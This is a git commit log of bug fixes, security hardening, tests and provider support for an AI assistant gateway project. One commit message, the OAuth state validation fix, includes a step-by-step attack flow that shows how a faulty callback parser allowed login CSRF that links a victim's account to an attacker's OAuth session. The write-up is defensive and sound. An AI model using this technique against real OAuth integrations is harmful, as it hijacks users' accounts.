a6fbd0393d fix(browser): annotate csrf middleware type 2026-02-14 15:54:29 +01:00
Peter Steinberger
abf6b4997e test(archive): accept drive-path absolute tar errors 2026-02-14 15:52:38 +01:00
Peter Steinberger
b87b16e2b6 docs(changelog): note browser CSRF hardening 2026-02-14 15:51:46 +01:00
Peter Steinberger
b566b09f81 fix(security): block cross-origin mutations on loopback browser routes 2026-02-14 15:51:09 +01:00
Peter Steinberger
1f1fc095a0 refactor(sandbox): auto-recreate browser container on config changes (#16254) 2026-02-14 15:47:59 +01:00
Peter Steinberger
31791233d6 fix(security): reject oversized base64 before decode 2026-02-14 15:45:41 +01:00
Peter Steinberger
4f043991e0 fix: suppress false duplicate plugin warnings (#16222) (thanks @shadril238) (#16245) 2026-02-14 15:45:21 +01:00
Peter Steinberger
4c7838e3cf refactor(archive): centralize limits and budgets 2026-02-14 15:43:44 +01:00
Peter Steinberger
5f4b29145c test(archive): cover archive size and absolute tar paths 2026-02-14 15:36:41 +01:00
Peter Steinberger
d3ee5deb87 fix(archive): enforce extraction resource limits 2026-02-14 15:36:41 +01:00
Peter Steinberger
c8424bf29a fix(googlechat): deprecate users/<email> allowlists (#16243) 2026-02-14 15:31:26 +01:00
Aether AI
3967ece625 fix(security): OC-25 — Validate OAuth state parameter to prevent CSRF attacks (#16058)
* fix(security): validate OAuth state parameter to prevent CSRF attacks (OC-25)

The parseOAuthCallbackInput() function in the Chutes OAuth flow had two
critical bugs that completely defeated CSRF state validation:

1. State extracted from callback URL was never compared against the
   expected cryptographic nonce, allowing attacker-controlled state values
2. When URL parsing failed (bare authorization code input), the catch block
   fabricated a matching state using expectedState, making the caller's
   CSRF check always pass

## Attack Flow

1. Victim runs `openclaw login chutes --manual`
2. System generates cryptographic state: randomBytes(16).toString("hex")
3. Browser opens: https://api.chutes.ai/idp/authorize?state=abc123...
4. Attacker obtains their OWN OAuth authorization code (out of band)
5. Attacker tricks victim into pasting just "EVIL_CODE" (not full URL)
6. parseOAuthCallbackInput("EVIL_CODE", "abc123...") is called
7. new URL("EVIL_CODE") throws → catch block executes
8. catch returns { code: "EVIL_CODE", state: "abc123..." } ← FABRICATED
9. Caller checks: parsed.state !== state → "abc123..." !== "abc123..." → FALSE
10. CSRF check passes! System calls exchangeChutesCodeForTokens()
11. Attacker's code exchanged for access + refresh tokens
12. Victim's account linked to attacker's OAuth session

Fix:
- Add explicit state validation against expectedState before returning
- Remove state fabrication from catch block; always return error for
  non-URL input
- Add comprehensive unit tests for state validation

Remediated by Aether AI Agent security analysis.

* fix(security): harden chutes manual oauth state check (#16058) (thanks @aether-ai-agent)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 15:28:52 +01:00
seheepeak
cb9a5e1cb9 feat(sandbox): separate bind mounts for browser containers (#16230)
* feat(sandbox): add separate browser.binds config for browser containers

Allow configuring bind mounts independently for browser containers via
sandbox.browser.binds. When set, browser containers use browser-specific
binds instead of inheriting docker.binds. Falls back to docker.binds
when browser.binds is not configured for backwards compatibility.

Closes #14614

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(sandbox): honor empty browser binds override (#16230) (thanks @seheepeak)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 15:27:41 +01:00
Tak Hoffman
302dafbe1a Docs: move submission guidance to GitHub templates (#16232)
* Docs: move submission guidance to GitHub templates

* Docs: make PR risk template entries flexible

* Docs: remove PR reviewer checklist section
2026-02-14 08:27:01 -06:00
Peter Steinberger
493f6f458b perf(test): speed up browser test suites 2026-02-14 14:25:54 +00:00
Peter Steinberger
57f40a5da6 perf(test): speed up config tests 2026-02-14 14:25:54 +00:00
shadril238
788ea6e9d1 fix: suppress false duplicate plugin id warning for symlinked extensions
When the same plugin directory is discovered through different path
representations (e.g. symlinks), the manifest registry incorrectly
warns about a duplicate plugin id. This is a false positive that
appears for bundled extensions like feishu (#16208).

Compare fs.realpathSync() of both candidates' rootDir before emitting
the duplicate warning. If they resolve to the same physical directory,
silently skip the duplicate instead of warning.

Also change seenIds from Set<string> to Map<string, PluginCandidate>
to track the first-seen candidate for comparison.

Closes #16208
2026-02-14 15:25:51 +01:00
Peter Steinberger
1a7e180e68 refactor(media): normalize inbound MediaType/MediaTypes defaults (#16233)
* refactor(media): normalize inbound media type defaults

* test(browser): fix Windows path expectation in file chooser hook
2026-02-14 15:18:19 +01:00
Peter Steinberger
00a0890889 fix(media): bound input media payload sizes 2026-02-14 15:16:06 +01:00
Peter Steinberger
4b1cadaecb refactor(media): normalize inbound media type defaults (#16228) 2026-02-14 15:06:13 +01:00
Peter Steinberger
e53a221e5c chore: format changelog 2026-02-14 15:03:27 +01:00
Peter Steinberger
28d9dd7a77 fix(macos): harden openclaw deep links 2026-02-14 15:03:27 +01:00
Peter Steinberger
644bef157a docs: clarify hook transform module path constraints 2026-02-14 15:03:27 +01:00
Peter Steinberger
35c0e66ed0 fix(security): harden hooks module loading 2026-02-14 15:03:27 +01:00
Peter Steinberger
3d0a41b584 test(gateway): isolate device identity in auth e2e 2026-02-14 14:57:19 +01:00
Peter Steinberger
3a67721dae docs(security): fix canvas host docs formatting 2026-02-14 14:57:19 +01:00
Peter Steinberger
6a386a7886 docs(security): clarify canvas host exposure and auth 2026-02-14 14:57:19 +01:00
jasonftl
8025e7c6c2 fix(discord): respect gateway TLS config in exec approvals handler (#16216) (thanks @jasonftl) 2026-02-14 14:53:38 +01:00
Peter Steinberger
842499d6c5 test(security): reject hook archives with traversal entries (#16224) 2026-02-14 14:53:33 +01:00
Peter Steinberger
3aa94afcfd fix(security): harden archive extraction (#16203)
* fix(browser): confine upload paths for file chooser

* fix(browser): sanitize suggested download filenames

* chore(lint): avoid control regex in download sanitizer

* test(browser): cover absolute escape paths

* docs(browser): update upload example path

* refactor(browser): centralize upload path confinement

* fix(infra): harden tmp dir selection

* fix(security): harden archive extraction

* fix(infra): harden tar extraction filter
2026-02-14 14:42:08 +01:00
Peter Steinberger
9a134c8a10 perf(test): tune parallel vitest worker split 2026-02-14 13:27:18 +00:00
Peter Steinberger
ce0eddd384 test: isolate test home before runtime imports 2026-02-14 13:27:18 +00:00
Peter Steinberger
7d3e5788e8 fix: stop enforcing <final> for ollama (#16191) (thanks @Glucksberg) 2026-02-14 14:21:34 +01:00
Glucksberg
74193ff754 fix(ollama): remove Ollama from isReasoningTagProvider (#2279)
Ollama's OpenAI-compatible endpoint handles reasoning natively via the
`reasoning` field in streaming chunks. Treating Ollama as a
reasoning-tag provider incorrectly forces <think>/<final> tag
enforcement, which causes stripBlockTags() to discard all output
(since Ollama models don't emit <final> tags), resulting in
'(no output)' for every Ollama model.

This fix removes 'ollama' from the isReasoningTagProvider() check,
allowing Ollama models to work correctly through the standard
content/reasoning field separation.
2026-02-14 14:21:34 +01:00
Tanwa Arpornthip
c76288bdf1 fix(slack): download all files in multi-image messages (#15447)
* fix(slack): download all files in multi-image messages

resolveSlackMedia() previously returned after downloading the first
file, causing multi-image Slack messages to lose all but the first
attachment. This changes the function to collect all successfully
downloaded files into an array, matching the pattern already used by
Telegram, Line, Discord, and iMessage adapters.

The prepare handler now populates MediaPaths, MediaUrls, and
MediaTypes arrays so downstream media processing (vision, sandbox
staging, media notes) works correctly with multiple attachments.

Fixes #11892, #7536

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(slack): preserve MediaTypes index alignment with MediaPaths/MediaUrls

The filter(Boolean) on MediaTypes removed entries with undefined contentType,
shrinking the array and breaking index correlation with MediaPaths and MediaUrls.
Downstream code (media-note.ts, attachments.ts) requires these arrays to have
equal lengths for correct per-attachment MIME type lookup. Replace filter(Boolean)
with a nullish coalescing fallback to "application/octet-stream".

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(slack): align MediaType fallback and tests (#15447) (thanks @CommanderCrowCode)

* fix: unblock plugin-sdk account-id typing (#15447)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 14:16:02 +01:00
Peter Steinberger
ef70a55b7a refactor(reply): clarify explicit reply tags in off mode (#16189)
* refactor(reply): clarify explicit reply tags in off mode

* fix(plugin-sdk): alias account-id subpath for extensions
2026-02-14 14:15:37 +01:00
Peter Steinberger
6f7d31c426 fix(security): harden plugin/hook npm installs 2026-02-14 14:07:14 +01:00
Peter Steinberger
d69b32a073 docs(changelog): clarify hooks transform dir restriction 2026-02-14 14:02:16 +01:00
Peter Steinberger
d73b48b32c fix(ts): map plugin-sdk subpaths 2026-02-14 13:01:02 +00:00
Peter Steinberger
ec399aaddf perf(test): parallelize unit-isolated 2026-02-14 13:01:02 +00:00
Peter Steinberger
18e8bd68c5 fix(security): block hook manifest path escapes 2026-02-14 14:00:37 +01:00
Peter Steinberger
3bbd29bef9 perf(gateway): cache session list transcript fields 2026-02-14 12:52:51 +00:00
Peter Steinberger
a0361b8ba9 fix(security): restrict hook transform module loading 2026-02-14 13:46:09 +01:00
Peter Steinberger
6543ce717c perf(test): avoid plugin-sdk barrel imports 2026-02-14 12:42:19 +00:00
Peter Steinberger
1ba266a8e8 refactor: split minimax-cn provider 2026-02-14 13:37:47 +01:00
Peter Steinberger
bf080c2338 Merge remote-tracking branch 'origin/main' 2026-02-14 13:36:18 +01:00
Tak Hoffman
274da72c38 Revert "fix: don't auto-create HEARTBEAT.md on workspace init (openclaw#12027) thanks @shadril238" (#16183)
This reverts commit 386bb0c618.
2026-02-14 06:33:14 -06:00
Peter Steinberger
83248f7603 Merge remote-tracking branch 'origin/main' 2026-02-14 13:30:22 +01:00
Peter Steinberger
af50b914a4 refactor(browser): centralize http auth 2026-02-14 13:30:11 +01:00
Peter Steinberger
a2b45e1c13 fix(gateway): relax http tool deny typing 2026-02-14 13:30:05 +01:00
Aldo
7b39543e8d fix(reply): honour explicit [[reply_to_*]] tags when replyToMode is off (#16174)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 778fc2559a
Co-authored-by: aldoeliacim <17973757+aldoeliacim@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 13:29:42 +01:00
Peter Steinberger
0af76f5f0e refactor(gateway): centralize node.invoke param sanitization 2026-02-14 13:27:45 +01:00
Peter Steinberger
c15946274e fix(gateway): allowlist system.run params 2026-02-14 13:27:45 +01:00
Peter Steinberger
a7af646fdf fix(gateway): bind approval ids to device identity 2026-02-14 13:27:45 +01:00
Peter Steinberger
318379cdba fix(gateway): bind system.run approvals to exec approvals 2026-02-14 13:27:45 +01:00
Peter Steinberger
233483d2b9 refactor(security): centralize dangerous tool lists 2026-02-14 13:27:05 +01:00
Peter Steinberger
0cfea46293 fix: wire minimax-api-key-cn onboarding (#15191) (thanks @liuy) 2026-02-14 13:25:54 +01:00
Liu Yuan
9bb099736b feat: add minimax-api-key-cn option for China API endpoint
- Add 'minimax-api-key-cn' auth choice for Chinese users
- Reuse existing --minimax-api-key CLI option
- Use MINIMAX_CN_API_BASE_URL (https://api.minimaxi.com/anthropic)
- Similar to how moonshot supports moonshot-api-key-cn

Tested: build , check , test 
2026-02-14 13:25:54 +01:00
Peter Steinberger
cd84885a4a test(browser): cover bridge auth registry fallback 2026-02-14 13:23:24 +01:00
Peter Steinberger
586176730c perf(gateway): optimize sessions/ws/routing 2026-02-14 12:21:44 +00:00
Peter Steinberger
c90b3e4d5e perf(cli): speed up startup 2026-02-14 12:21:44 +00:00
Peter Steinberger
a7a08b6650 test(gateway): cover tools allow/deny precedence 2026-02-14 13:18:49 +01:00
Peter Steinberger
153a7644ea fix(acp): tighten safe kind inference 2026-02-14 13:18:49 +01:00
Peter Steinberger
6dd6bce997 fix(security): enforce sandbox bridge auth 2026-02-14 13:17:41 +01:00
Peter Steinberger
eb4215d570 perf(test): speed up Vitest bootstrap 2026-02-14 12:13:27 +00:00
Mariano Belinky
626a225c08 docs: fix merge-pr comment variable expansion 2026-02-14 12:07:00 +00:00
Nicholas
f8ba8f7699 fix(docs): update outdated hooks documentation URLs (#16165)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8ed13fb02f
Co-authored-by: nicholascyh <188132635+nicholascyh@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 13:05:37 +01:00
Mariano
01d2ad2050 docs: harden maintainer and advisory workflow (#16173) 2026-02-14 11:59:19 +00:00
Peter Steinberger
79e78cff3b docs(changelog): thank reporter for ACP hardening 2026-02-14 12:54:47 +01:00
Peter Steinberger
4711a943e3 fix(browser): authenticate sandbox browser bridge server 2026-02-14 12:54:16 +01:00
Peter Steinberger
bb1c3dfe10 fix(acp): prompt for non-read/search permissions 2026-02-14 12:53:27 +01:00
Peter Steinberger
9e24eee52c docs(changelog): note audit warning for gateway tools override 2026-02-14 12:48:48 +01:00
Peter Steinberger
539689a2f2 feat(security): warn when gateway.tools.allow re-enables dangerous HTTP tools 2026-02-14 12:48:02 +01:00
Peter Steinberger
fba19fe942 docs: link trusted-proxy auth from gateway docs (#16172) 2026-02-14 12:44:25 +01:00
Peter Steinberger
3b56a6252b chore!: remove moltbot legacy state/config support 2026-02-14 12:40:47 +01:00
Peter Steinberger
e21a7aad54 docs: recommend loopback-only gateway bind 2026-02-14 12:36:32 +01:00
Nick Taylor
1fb52b4d7b feat(gateway): add trusted-proxy auth mode (#15940)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 279d4b304f
Co-authored-by: nickytonline <833231+nickytonline@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 12:32:17 +01:00
Artale
3a330e681b fix(feishu): remove typing indicator on NO_REPLY cleanup (openclaw#15508) thanks @arosstale
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-14 05:24:27 -06:00
Peter Steinberger
6182d3ef85 test: increase live-model retry token budget for reasoning-first providers 2026-02-14 12:23:51 +01:00
Pejman Pour-Moezzi
9475791d98 fix: update remaining replyToMode "first" defaults to "off"
- src/channels/dock.ts: core channel dock fallback
- src/auto-reply/reply/reply-routing.test.ts: test expectation
- docs/zh-CN/channels/telegram.md: Chinese docs reference

Comprehensive grep confirms no remaining Telegram-specific "first"
defaults after this commit.
2026-02-13 23:31:17 -08:00
Pejman Pour-Moezzi
c17a109daa fix: align extension plugin and docs with new replyToMode default
Update the Telegram extension channel plugin fallback and documentation
to reflect the new "off" default, as flagged by Greptile review.
2026-02-13 23:31:17 -08:00
Pejman Pour-Moezzi
ad96c126ed fix(telegram): change default replyToMode from "first" to "off"
In 2026.2.13, the combination of implicit reply threading (#14976) and
the existing Telegram default replyToMode="first" causes every bot
response in DMs to be sent as a native Telegram reply (quoted message
bubble), even for simple exchanges like "Hi" → "Hey".

This is a UX regression: prior to 2026.2.13, reply threading was less
consistent so the "first" default rarely produced visible quote bubbles
in DMs. Now that implicit threading works reliably, the default
effectively means every first message in a response gets quoted —
which feels noisy and unexpected in 1:1 conversations.

Changing the default to "off" restores the pre-2026.2.13 DM experience.
Users who want reply threading can still opt in via config:

  channels.telegram.replyToMode: "first" | "all"

Tested by toggling replyToMode on a live 2026.2.13 instance:
- replyToMode="first" → every response quotes the user message
- replyToMode="off" → clean responses without quote bubbles

No test changes needed: existing tests explicitly set replyToMode
rather than relying on the default.
2026-02-13 23:31:17 -08:00
Vignesh Natarajan
4c79a63eb8 fix: default QMD search mode (#16047) (thanks @togotago) 2026-02-13 23:14:34 -08:00
vignesh07
e38ed4f640 fix(memory): default qmd searchMode to search + scope search/vsearch to collections 2026-02-13 23:14:34 -08:00
Peter Steinberger
a50638eead perf(test): disable vector index in OpenAI batch tests 2026-02-14 05:25:40 +00:00
Peter Steinberger
0e5e72edb4 perf(test): shrink memory embedding batch fixtures 2026-02-14 05:25:40 +00:00
Peter Steinberger
98bb4225fd perf(test): minimize gateway startup in vitest 2026-02-14 05:25:40 +00:00
Peter Steinberger
db72184de6 perf(test): speed up Matrix send tests 2026-02-14 05:25:40 +00:00
Tyler Yust
45e12d2388 bluebubbles: gracefully handle disabled private API with action/tool filtering and fallbacks (#16002)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 243cc0cc9a
Co-authored-by: tyler6204 <243?+tyler6204@users.noreply.github.com>
Co-authored-by: tyler6204 <64381258+tyler6204@users.noreply.github.com>
Reviewed-by: @tyler6204
2026-02-13 21:15:56 -08:00
Peter Steinberger
d8beddc8b7 refactor(onboard): unify auth-choice aliases and provider flags 2026-02-14 05:58:26 +01:00
Peter Steinberger
2f4cef2021 perf(test): remove last-route polling in partial reply gating 2026-02-14 04:57:28 +00:00
Peter Steinberger
4335668d28 chore(test): fix cron every-jobs-fire unused import 2026-02-14 04:57:28 +00:00
Peter Steinberger
e6d5b5fb11 perf(test): remove slow port inspection and reconnect sleeps 2026-02-14 04:57:28 +00:00
Peter Steinberger
1f432ffb93 docs(changelog): clarify Hugging Face support in 2026.2.13 2026-02-14 05:51:52 +01:00
Peter Steinberger
eab9dc538a refactor(onboard): unify auth-choice catalog for CLI help 2026-02-14 05:51:17 +01:00
Peter Steinberger
fdda261478 fix: align NVIDIA provider docs and model ids (#11606) 2026-02-14 05:48:40 +01:00
Gabriel
e0132514f6 fix: needed to use format:fix 2026-02-14 05:48:40 +01:00
Gabriel
3feb5d1f10 fix: LINT AGAIN 2026-02-14 05:48:40 +01:00
Gabriel
f90a39e984 fix: my mistakes 2026-02-14 05:48:40 +01:00
Gabriel
ae8be6ac23 fix: linting thime 2026-02-14 05:48:40 +01:00
Gabriel
8f2884b986 fix: i am fixing all the changes that claude made. vibe coding is not there yet. anyways, i fixed the issues that the bot told me to fix 2026-02-14 05:48:40 +01:00
anthropic-code-agent[bot]
c640b5f86c feat: add NVIDIA API provider integration
Add support for NVIDIA's API (https://integrate.api.nvidia.com/v1) with three models:
- nvidia/llama-3.1-nemotron-70b-instruct (default)
- nvidia/llama-3.3-70b-instruct
- nvidia/mistral-nemo-minitron-8b-8k-instruct

Users can configure via NVIDIA_API_KEY environment variable or auth profiles.

Co-authored-by: thesomewhatyou <162917831+thesomewhatyou@users.noreply.github.com>
2026-02-14 05:48:40 +01:00
Peter Steinberger
84ed9ab554 perf(test): auto-unstub globals 2026-02-14 03:40:58 +00:00
Peter Steinberger
d1f01de59a perf(test): default to vmForks on Node 25; unstub envs 2026-02-14 03:38:55 +00:00
Peter Steinberger
e91d957d70 chore(release): publish 2026.2.13 appcast 2026-02-14 04:31:32 +01:00
Peter Steinberger
38a157ff23 perf(test): reduce setup overhead; isolate sharp-heavy suites 2026-02-14 03:29:55 +00:00
Peter Steinberger
2d4d32cb2d test(cron): await persistence before temp cleanup 2026-02-14 03:18:27 +00:00
青雲
89fa93ed75 feat: support freshness parameter for Perplexity web_search provider (#15343)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 01aba2bfba
Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-13 22:18:16 -05:00
Peter Steinberger
7f227fc8cc perf(test): avoid heavy browser barrels in pw-ai tests 2026-02-14 03:13:32 +00:00
Peter Steinberger
115444b37c perf(test): deflake and speed up qmd manager tests 2026-02-14 03:08:13 +00:00
Peter Steinberger
9126930363 test(cron): remove flaky real-timer polling 2026-02-14 03:00:06 +00:00
Peter Steinberger
72e9364bac perf(test): speed up hot test files 2026-02-14 02:55:39 +00:00
Peter Steinberger
dd08ca97bb perf(test): reduce import and fixture overhead in hot tests 2026-02-14 02:49:19 +00:00
Peter Steinberger
2583de5305 refactor(routing): normalize binding matching and harden qmd boot-update tests 2026-02-14 03:40:28 +01:00
Peter Steinberger
89574f30cb refactor(voice-call): split manager into facade and context slices 2026-02-14 03:39:33 +01:00
Peter Steinberger
edbd86074f refactor(mattermost): extract websocket monitor and reconnect policies 2026-02-14 03:39:19 +01:00
Peter Steinberger
36726b52f4 perf(test): drop redundant memory reindex integration case 2026-02-14 02:37:09 +00:00
Peter Steinberger
3871b5a238 perf(test): remove dead telegram bot test scaffolding 2026-02-14 02:37:09 +00:00
Peter Steinberger
63711330e4 perf(test): dedupe browser/telegram coverage and trim batch retry cost 2026-02-14 02:37:09 +00:00
Peter Steinberger
d3eb014892 perf(test): dedupe telegram/node coverage and speed fixtures 2026-02-14 02:37:09 +00:00
Peter Steinberger
203b5bdf71 docs: reorder 2026.2.13 changelog by user interest 2026-02-14 03:31:45 +01:00
Peter Steinberger
6ebf503fa8 refactor(media): centralize voice compatibility policy 2026-02-14 03:17:40 +01:00
Peter Steinberger
03fee3c605 refactor(memory): unify embedding provider constants 2026-02-14 03:16:46 +01:00
Peter Steinberger
61b5133264 fix(memory): align QAT default docs/tests (#15429) (thanks @azade-c) 2026-02-14 03:11:14 +01:00
Azade 🐐
5219f74615 fix(memory): use QAT variant of embedding model for better quality
Switch default local embedding model from embeddinggemma-300M to
embeddinggemma-300m-qat (Quantization Aware Training). QAT models are
trained with quantization in mind, yielding better embedding quality
at the same size (Q8_0).
2026-02-14 03:11:14 +01:00
Marcus Castro
2b154e0458 fix(mattermost): add WebSocket reconnection with exponential backoff (#14962)
* fix(mattermost): add WebSocket reconnection with exponential backoff

Fixes #13980

The Mattermost WebSocket monitor had no error handling around the
reconnection loop. When connectOnce() threw (e.g. 'fetch failed' from
network issues), the error propagated through the while loop, causing
the gateway to log 'channel exited' and never restart.

Extract runWithReconnect() utility that:
- Catches thrown errors from connectFn and retries
- Uses exponential backoff (2s→4s→8s→...→60s cap)
- Resets backoff after successful connections
- Stops cleanly on abort signal
- Reports errors and reconnect delays via callbacks

* fix(mattermost): make backoff sleep abort-aware and reject on WS connect failure

* fix(mattermost): clean up abort listener on normal timeout to prevent leak

* fix(mattermost): skip error reporting when abort causes connection rejection

* fix(mattermost): use try/finally for abort listener cleanup in connectOnce

* fix: force-close WebSocket on error to prevent reconnect hang

* fix: use ws.terminate() on abort for reliable teardown during CONNECTING state

* fix(mattermost): use initial retry delay for reconnect backoff

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 03:10:22 +01:00
David Cantú Martínez
9443c638f4 voice-call: hang up rejected inbounds, idempotency and logging (#15892)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 36f826ea23
Co-authored-by: dcantu96 <32658690+dcantu96@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 03:09:31 +01:00
大猫子
13aface863 fix(config): accept $schema key in root config (#15280)
* fix(config): accept $schema key in root config (#14998)

* fix: strip $schema via preprocess to avoid spurious UI section

* fix(config): allow root  without zod preprocess wrapper

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 03:07:12 +01:00
大猫子
dbe026214f fix(routing): exclude peer-specific bindings from guild-wide matching (#15274)
* fix(routing): exclude peer-specific bindings from guild-wide matching (#14752)

* fix(routing): enforce binding scope AND semantics + regressions

* fix(routing): document strict binding-scope behavior (#15274) (thanks @lailoo)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 03:05:09 +01:00
Azade 🐐
1b95220a99 fix(media): recognize MP3 and M4A as voice-compatible audio (#15438)
* fix(media): recognize MP3 and M4A as voice-compatible audio

Telegram sendVoice supports OGG/Opus, MP3, and M4A, but
isVoiceCompatibleAudio only recognized OGG/Opus formats.

- Add MP3 and M4A extensions and MIME types
- Use explicit MIME set instead of substring matching
- Handle MIME parameters (e.g. 'audio/ogg; codecs=opus')
- Add test coverage for all supported and unsupported formats

* fix: narrow MIME allowlist per review feedback

Remove audio/mp4 and audio/aac from voice MIME types — too broad.
Keep only M4A-specific types (audio/x-m4a, audio/m4a).
Add audio/mp4 and audio/aac as negative test cases.

* fix: align voice compatibility and channel coverage (#15438) (thanks @azade-c)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 03:03:02 +01:00
Peter Steinberger
0b8227fa92 perf(test): trim redundant suites and tighten wait loops 2026-02-14 02:02:03 +00:00
Peter Steinberger
9769b96fb1 fix(config): auto-enable configured plugins 2026-02-14 01:56:12 +00:00
Peter Steinberger
8d52ed318d perf(test): narrow browser maxchars smoke to core contract 2026-02-14 01:52:10 +00:00
Peter Steinberger
8c3cc793b7 fix: dedupe before_tool_call in embedded runtime (#15635) (thanks @lailoo) 2026-02-14 02:50:35 +01:00
damaozi
534e4213a1 fix(hooks): deduplicate before_tool_call hook in toToolDefinitions (#15502) 2026-02-14 02:50:35 +01:00
Peter Steinberger
b4430c126a perf(test): trim duplicate raw-body and streaming queue scenarios 2026-02-14 01:49:54 +00:00
Peter Steinberger
c4f550ef2a perf(test): trim browser smoke and speed canvas test reload 2026-02-14 01:47:47 +00:00
Peter Steinberger
db8cabedde perf(test): reduce lock wait and fixture setup overhead 2026-02-14 01:42:47 +00:00
Peter Steinberger
0c00dd92a4 perf(test): parallelize browser control validation requests 2026-02-14 01:42:47 +00:00
Peter Steinberger
2c849ea4c2 perf(test): reuse SSRF mock setup in web media tests 2026-02-14 01:42:47 +00:00
Peter Steinberger
53055aeafe perf(test): consolidate cron and canvas regression setups 2026-02-14 01:42:47 +00:00
Peter Steinberger
748d6821d2 fix(config): add forensic config write audit and watch attribution 2026-02-14 01:36:15 +00:00
Nikolay Petrov
3b5a9c14dd Fix: Preserve Per-Agent Exec Override After Session Compaction (#15833)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9dfe5bdf23
Co-authored-by: napetrov <18015221+napetrov@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 02:34:04 +01:00
Peter Steinberger
0b52a520d6 perf(web-fetch): memoize readability dependency loading 2026-02-14 01:29:45 +00:00
大猫子
c4d2061a7c Web UI: allow img tags in DOMPurify so markdown images render in webchat (#15480)
Thanks @lailoo.
2026-02-14 02:29:13 +01:00
damaozi
1d01bb1c8d fix(telegram): scope default account skill commands to resolved agent (#15599) 2026-02-14 02:28:39 +01:00
Peter Steinberger
3691631fdc perf(test): silence non-audit config io overwrite logs 2026-02-14 01:27:46 +00:00
Peter Steinberger
38098442ca perf(test): reduce setup churn in block streaming and docker tests 2026-02-14 01:26:12 +00:00
Peter Steinberger
445b4facd7 perf(test): collapse isolated cron heartbeat delivery cases 2026-02-14 01:26:12 +00:00
Shuai-DaiDai
8316571efe fix(venice): disable streaming to prevent SDK crash (#15878)
* fix(venice): disable streaming to prevent SDK crash with usage-only chunks (#15819)

Venice.ai API returns SSE chunks containing only usage metadata without
a choices array. The SDK crashes trying to access choices[0] on these
chunks with: Cannot read properties of undefined (reading '0')

Changes:
- Disable streaming by default for all Venice models
- Apply to both static catalog and dynamically discovered models
- Users can explicitly enable streaming in config if needed

This is a workaround until the SDK handles Venice's streaming format.

Fixes #15819

* fix(venice): avoid usage streaming chunks for Venice models (openclaw#15878) thanks @Shuai-DaiDai

---------

Co-authored-by: 帅小呆1号 <shuaixiaodai1@openclaw.ai>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-14 02:23:35 +01:00
Shuai-DaiDai
bdc63b5b7d fix(macos): resolve dashboard basePath for local and remote (#15862)
Co-authored-by: 帅小呆1号 <shuaixiaodai1@openclaw.ai>
2026-02-14 02:19:36 +01:00
Peter Steinberger
f86840f4df perf(cli): reduce read-only startup overhead 2026-02-14 01:18:44 +00:00
Peter Steinberger
54a242eaad perf(test): gate monitor runtime logs during vitest 2026-02-14 01:14:56 +00:00
Artale
643288fda8 fix(cli): route logs to stderr during shell completion output (openclaw#15496) thanks @arosstale
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 19:14:53 -06:00
Owen
87b31acbb5 feat: add GLM-5 model support (#14352) (#15867)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0e3289a594
Co-authored-by: battman21 <2656916+battman21@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-14 02:13:42 +01:00
Peter Steinberger
4fdfa42619 perf(test): silence config overwrite warnings in vitest 2026-02-14 01:10:45 +00:00
Peter Steinberger
9cb630ca7c docs: fix compaction config note 2026-02-14 02:10:28 +01:00
Artale
0942ecb54f fix(cron): use job config for cleanup instead of hardcoded "keep" (openclaw#15427) thanks @arosstale
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-13 19:10:17 -06:00
Peter Steinberger
59d2d89fe6 perf(test): collapse docker setup sandbox churn 2026-02-14 01:09:03 +00:00
Peter Steinberger
8796bfaaac perf(test): consolidate browser and canvas hotspot suites 2026-02-14 01:07:23 +00:00
Artale
7f0d6b1fcb fix(heartbeat): exempt wake and hook reasons from empty-heartbeat skip (openclaw#14532) thanks @arosstale
Verified:
- pnpm build
- pnpm check
- pnpm test

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
